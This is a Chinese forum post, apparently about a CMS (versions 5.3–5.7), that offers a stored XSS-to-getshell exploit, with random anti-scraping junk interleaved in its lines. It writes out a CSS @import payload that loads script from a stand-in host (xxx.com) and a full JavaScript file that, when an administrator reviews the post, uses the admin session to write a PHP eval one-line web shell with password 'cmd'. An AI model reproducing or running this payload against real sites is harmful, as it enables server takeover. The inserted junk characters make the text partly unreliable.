<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell
! c0 Q! I: J6 U. R" I# _7 m为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)
" z. j& \1 n3 s目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。) F, g5 s9 k0 }/ e
下面说说利用方法。( L. q7 `6 h0 D- L; ?3 u
条件有2个:1 P0 Q' l! ?/ R: Y; Q6 m0 Y
1.开启注册- p- V/ A6 j% o! k9 m9 C0 ^
2.开启投稿9 f7 m h$ ~% P0 y9 X3 k8 h
注册会员----发表文章
' b2 f5 _! n% o6 i/ L6 X9 e内容填写:
7 l( T* u- B$ S复制代码
+ A" _# q" N; z<style>@im\port'\http://xxx.com/xss.css';</style>
9 M, S! M- |4 x6 ^8 V. z新建XSS.Css
+ s' Y7 ]% F, h复制代码
' h; |" T3 U) p# D5 ^1 i8 r.body{5 I8 R( D& I' G/ x- y; X+ ]% A' ?: z
background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') } p. m2 J. E' a
新建xss.js 内容为+ `! }' x8 b2 T p- |# D& C* R
复制代码% v: O. O! n% G% O
1.var request = false;% K/ P* K* R O6 Y% }' ]
2.if(window.XMLHttpRequest) {
r" q' H* w( O: b2 \3.request = new XMLHttpRequest();/ P4 U, b$ I/ A
4.if(request.overrideMimeType) {3 a2 _: H4 P, r K: T* H3 |
5.request.overrideMimeType('text/xml');# x4 ^; t, \ M0 a: R/ V. ~( D R
6.}1 h+ _5 U) r; W b8 u0 f- Q9 S4 C
7.} else if(window.ActiveXObject) {
1 j" v% \6 I J3 q+ p8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
# Q# B0 l) d* t, \( m6 h+ ]9.for(var i=0; i<versions.length; i++) { ^( F( `3 p6 x( }# L3 m
10.try {
/ @# \- P7 d- U11.request = new ActiveXObject(versions);1 f" U$ R" j- N0 n' J$ @' V+ \2 h6 X- E
12.} catch(e) {}! ]4 o! X. L7 |% P! D* i
13.}$ S. n$ R6 U6 g6 y* C5 c
14.}
2 l3 W$ z: t; ]) {& r$ E' x15.xmlhttp=request;9 A+ v( a" h. g" _2 p1 T# i1 _
16.function getFolder( url ){& f- N4 G9 Y! k+ o+ E* W+ H
17. obj = url.split('/')
6 `. e1 u1 D9 F$ R! C( b4 k18. return obj[obj.length-2]/ g! A" V" }* _
19.}7 v% ]9 x1 H; H: ?" X
20.oUrl = top.location.href;. r7 ? M9 a3 F' ], {
21.u = getFolder(oUrl);) Y4 x6 P9 R+ d& V8 A8 M1 @) b% c
22.add_admin();5 k7 C) [9 Q4 \ k4 \: A
23.function add_admin(){
) ]2 i. R0 @+ c3 P* J9 M9 T. I* p" {24.var url= "/"+u+"/sys_sql_query.php";0 r) G' z! x0 w9 f5 w8 Q! @
25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";3 s0 ~4 M f$ I# v& V; a! M
26.xmlhttp.open("POST", url, true);( D! W2 P. |2 U; H
27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
6 V8 n: l7 T3 @# {28.xmlhttp.setRequestHeader("Content-length", params.length);
! {5 ]/ G1 a! X29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");; M0 S+ v1 _- S8 p# j
30.xmlhttp.send(params);9 B! O" C ~0 m* q/ O# d2 X
31.}
+ o6 w% g2 K5 o& n: n当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd |